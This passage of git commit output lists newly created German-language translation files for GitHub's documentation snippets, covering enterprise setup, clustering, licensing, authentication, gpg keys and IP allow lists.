 create mode 100644 translations/de-DE/data/reusables/enterprise-licensing/unique-user-licensing-model.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-licensing/verified-domains-license-sync.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-licensing/view-consumed-licenses.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-managed/about-billing.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/3-5-missing-feature.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/about-deployment-methods.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/about-github-for-enterprises.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/about-policies.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/about-ssh-ports.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/apply-configuration.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/constantly-improving.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/create-an-enterprise-account.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/ghec-authentication-options.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/ghec-cta-button.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/ghes-is-a-self-hosted-platform.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/ghes-runs-on-your-infrastructure.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/github-distributes-ghes.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/link-to-ghe-trial.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/link-to-ghec-trial.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/navigate-to-log-streaming-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/rate_limit.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/repository-caching-config-summary.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/repository-caching-release-phase.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/test-in-staging.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/upgrade-ghes-for-features.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/use-a-multiplexer.md
 create mode 100644 translations/de-DE/data/reusables/enterprise/verify-audit-log-streaming-endpoint.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-directory.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-update-repo.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-verify-upgrade.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/apply-configuration.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/clustering-requires-https.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/clustering-scalability.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/configuration-file-heading.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/configuration-finished.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/health_checks.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/key-value-pair-order-irrelevant.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/load_balancer_dns.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/load_balancer_intro.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/network-latency.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/open-configuration-file.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/proxy_preference.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/proxy_protocol_ports.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/proxy_xff_firewall_warning.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-admin-configure-ip.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-config-node.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-initialize-new-node.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-mark-offline.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-modify-cluster-conf.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-need-three-nodes.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-provision.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-replacement-name.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/replacing-a-cluster-node-validate-config.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/ssh-to-a-node.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/without_proxy_protocol_ports.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_clustering/x-forwarded-for.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_deprecation/deprecation_details.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_deprecation/version_was_deprecated.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_deprecation/version_will_be_deprecated.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_enterprise_support/installing-releases.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_enterprise_support/sign-in-to-support.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_enterprise_support/support-holiday-availability.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_enterprise_support/support_will_ask_you_to_run_command.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_enterprise_support/upload-support-bundle.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_enterprise_support/use_ghe_cluster_support_bundle.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/about-adjusting-resources.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/add-ssh-key-to-primary.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/aws-instance-recommendation.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/azure-instance-recommendation.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/changing-hostname-not-supported.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/command-line-utilities-ghe-upgrade-rollback.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/configuration-recognized.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/copy-the-vm-public-dns-name.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/create-attached-storage-volume.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/create-ghe-instance.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/disable-github-pages-warning.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/download-appliance.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/download-license.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/download-note.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/download-package.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/enterprise-download-upgrade-pkg.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/generate-replication-key-pair.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/ha-and-clustering-failure-scenarios.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/hardware-rec-table.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/hotpatching-explanation.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/image-urls-viewable-warning.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/increasing-cpus-req.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/instance-will-restart-automatically.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/lets-encrypt-prerequisites.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/monitoring-replicas.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/necessary_ports.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/open-vm-console-start.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/promoting-a-replica.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/proxy-incompatible-with-aws-nlbs.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/replica-limit.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/replica-ssh.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/replica-steps.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/replica-verify.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/replication-command.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/replication-status.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/request-a-trial.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/save-settings-in-web-based-mgmt-console.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/software-license.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/ssh-into-instance.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/ssh-into-target-instance.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/start-replication.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/terminating-tls.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/upload-a-license-file.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/verify-replication-channel.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/visit-your-instance.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/vm-console-done.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/warning-on-scaling.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/warning-on-upgrading-physical-resources.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_installation/when-9418-necessary.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/access-monitoring.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/actions.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/advanced-security-license.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/advanced-security-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/authentication-password.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/authentication-protocol.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/authentication.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/badge_indicator.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/enable-disable-security-features.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/enable-snmp.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/hostname-menu-item.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/pages-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/privacy.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/save-settings.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/select-tls-only.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/support-link.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/test-domain-settings-failure.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/test-storage-button.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/type-management-console-password.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/unlocking-management-console-with-shell.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_management_console/updates-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/exclude-file-attachments.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/fork-persistence.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/locking-repositories.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/make-a-list.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/ready-to-import-migrations.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/review-the-import-csv.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/specify-staging-path.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/token-generation.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_migrations/unlocking-on-instances.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/about-ssh-access.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-management-console.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-site-admin-dashboard.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/access-settings.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/add-key-to-web-flow-user.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-top-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/business.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/click-preview.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/click-repo.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user-or-org.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/configuring-large-file-storage-short-description.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/create-pgp-key-web-commit-signing.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/email-settings.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/git-lfs-toggle.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-reset-link.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-sidebar-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/list-of-repos-with-anonymous-git-read-access-enabled.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/maintenance-mode-status.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/management-console.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/message-preview-save.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/override-policy.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/packages-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-env-variable.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-no-passphrase.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/repository-search.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/save-changes.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user-or-org.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/security-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/sign-in.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/tls-downtime.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/update-commit-signing-service.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_site_admin_settings/wait-for-configuration-run.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/2fa_is_available.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-option.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/exceptions-for-enabling-anonymous-git-read-access.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/external_auth_disables_2fa.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/ldap-sync-nested-teams.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/manage-global-webhooks-api.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/two_factor_auth_header.md
 create mode 100644 translations/de-DE/data/reusables/enterprise_user_management/unauthenticated-sign-ups.md
 create mode 100644 translations/de-DE/data/reusables/feature-preview/feature-preview-setting.md
 create mode 100644 translations/de-DE/data/reusables/files/add-file.md
 create mode 100644 translations/de-DE/data/reusables/files/choose-commit-email.md
 create mode 100644 translations/de-DE/data/reusables/files/choose_commit_branch.md
 create mode 100644 translations/de-DE/data/reusables/files/choose_pull_request.md
 create mode 100644 translations/de-DE/data/reusables/files/commit-author-email-options.md
 create mode 100644 translations/de-DE/data/reusables/files/confirm_merge.md
 create mode 100644 translations/de-DE/data/reusables/files/delete_branch.md
 create mode 100644 translations/de-DE/data/reusables/files/merge_pull_request.md
 create mode 100644 translations/de-DE/data/reusables/files/preview_change.md
 create mode 100644 translations/de-DE/data/reusables/files/propose_file_change.md
 create mode 100644 translations/de-DE/data/reusables/files/propose_new_file.md
 create mode 100644 translations/de-DE/data/reusables/files/write_commit_message.md
 create mode 100644 translations/de-DE/data/reusables/files/write_commit_message_pull_request.md
 create mode 100644 translations/de-DE/data/reusables/form-schema/attributes-intro.md
 create mode 100644 translations/de-DE/data/reusables/form-schema/id-must-be-unique.md
 create mode 100644 translations/de-DE/data/reusables/form-schema/options-syntax.md
 create mode 100644 translations/de-DE/data/reusables/form-schema/required-key.md
 create mode 100644 translations/de-DE/data/reusables/form-schema/validations-intro.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/auto-merge.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/autolinks.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/code-owners.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/code-review-assignment.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/code-scanning.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/codespaces-classroom-articles.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/copilot-billing.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/copilot.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/dependency-review.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/dependency-vulnerable-calls.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/display-names.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/draft-prs.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/emus.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/enterprise-accounts.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/enterprise_account_webhooks.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/environments.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/generated-health-checks.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/ghas.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/historical-insights-for-projects.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/hosted-runners.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/more-info-org-products.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/more-info.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/multiple-pr-reviewers.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/packages.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/pages.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/protected-branches.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/repository-insights.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/restrict-email-domain.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/secret-scanning-partner.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/secret-scanning.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/security-overview.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/tag-protection-rules.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/user-repo-collaborators.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/verify-and-approve-domain.md
 create mode 100644 translations/de-DE/data/reusables/gated-features/wikis.md
 create mode 100644 translations/de-DE/data/reusables/gcm-core/next-time-you-clone.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/about-and-creating-teams.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/actions.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/adding-members-to-organizations.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/api.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/bearer-vs-token.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/being-social.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/configuring-security-features.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/contact-support-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/contact-support.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/contributing-to-projects.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/create-a-repository.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/creating-organizations.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/creating-teams.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/customizing-and-automating.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/enforcing-repo-management-policies.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/enterprise-advanced-security.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/fork-a-repository.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/github-pages-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/learning-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/learning.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/managing-enterprise-members.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/managing-org-members.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/managing-org-policies.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/managing-repo-changes.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/managing-team-settings.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/marketplace.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/math-and-diagrams.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/open-source-projects.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/org-permissions-and-roles.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/packages.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/participating-in-community.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/requiring-2fa.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/set-up-git.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/setting-org-and-repo-permissions.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/sponsors.md
 create mode 100644 translations/de-DE/data/reusables/getting-started/using-org-community-files-and-moderation-tools.md
 create mode 100644 translations/de-DE/data/reusables/gist/anonymous-gists-cannot-be-deleted.md
 create mode 100644 translations/de-DE/data/reusables/gist/cannot-convert-public-gists-to-secret.md
 create mode 100644 translations/de-DE/data/reusables/git/cache-on-repository-path.md
 create mode 100644 translations/de-DE/data/reusables/git/clear-stored-gcm-credentials.md
 create mode 100644 translations/de-DE/data/reusables/git/clear-the-stored-credentials.md
 create mode 100644 translations/de-DE/data/reusables/git/commit-file.md
 create mode 100644 translations/de-DE/data/reusables/git/git-push.md
 create mode 100644 translations/de-DE/data/reusables/git/no-credential-manager.md
 create mode 100644 translations/de-DE/data/reusables/git/open-terminal.md
 create mode 100644 translations/de-DE/data/reusables/git/provide-credentials.md
 create mode 100644 translations/de-DE/data/reusables/git/remove-git-remote.md
 create mode 100644 translations/de-DE/data/reusables/git/reset-head-to-previous-commit-codeblock.md
 create mode 100644 translations/de-DE/data/reusables/git/stage_for_commit.md
 create mode 100644 translations/de-DE/data/reusables/git/unstage-codeblock.md
 create mode 100644 translations/de-DE/data/reusables/github-ae/about-billing.md
 create mode 100644 translations/de-DE/data/reusables/github-ae/github-ae-enables-you.md
 create mode 100644 translations/de-DE/data/reusables/github-ae/initialize-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/github-ae/saml-idp-table.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/access-dotcom-and-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/access-profile-settings.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/authorize-connection.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/beta.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/connect-dotcom-and-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/connection-port-protocol.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/github-connect-tab-user-settings.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/send-contribution-counts-to-githubcom.md
 create mode 100644 translations/de-DE/data/reusables/github-connect/sync-frequency.md
 create mode 100644 translations/de-DE/data/reusables/gpg/configure-ssh-signing.md
 create mode 100644 translations/de-DE/data/reusables/gpg/copy-gpg-key-id.md
 create mode 100644 translations/de-DE/data/reusables/gpg/copy-ssh-public-key.md
 create mode 100644 translations/de-DE/data/reusables/gpg/desktop-support-for-commit-signing.md
 create mode 100644 translations/de-DE/data/reusables/gpg/list-keys-with-note.md
 create mode 100644 translations/de-DE/data/reusables/gpg/paste-gpg-key-id.md
 create mode 100644 translations/de-DE/data/reusables/gpg/paste-ssh-public-key.md
 create mode 100644 translations/de-DE/data/reusables/gpg/private-email.md
 create mode 100644 translations/de-DE/data/reusables/gpg/smime-git-version.md
 create mode 100644 translations/de-DE/data/reusables/gpg/ssh-git-version.md
 create mode 100644 translations/de-DE/data/reusables/gpg/supported-gpg-key-algorithms.md
 create mode 100644 translations/de-DE/data/reusables/gpg/x-509-key.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/about-adding-ip-allow-list-entries.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/about-checking-ip-address.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/about-editing-ip-allow-list-entries.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/about-team-sync.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/check-ip-address-step.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/check-ip-address.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-azure.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-okta.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-description.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-entry.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-ip.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-address-inheritance.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-cidr-notation.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-confirm-deletion.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-delete-entry.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-description.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-entry.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-ip.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enable.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-example-and-restrictions.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-githubapps-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/ipv6-allow-lists.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/revoking-identity-team-sync.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/supported-idps-team-sync.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/sync-team-with-idp-group.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-azure-permissions.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-saml.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-scim.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-disable.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-required-permissions.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/team-sync-usage-limits.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/verification-status-check.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md
 create mode 100644 translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-verification-statuses.md
 create mode 100644 translations/de-DE/data/reusables/interactions/collaborator-user-limit-definition.md
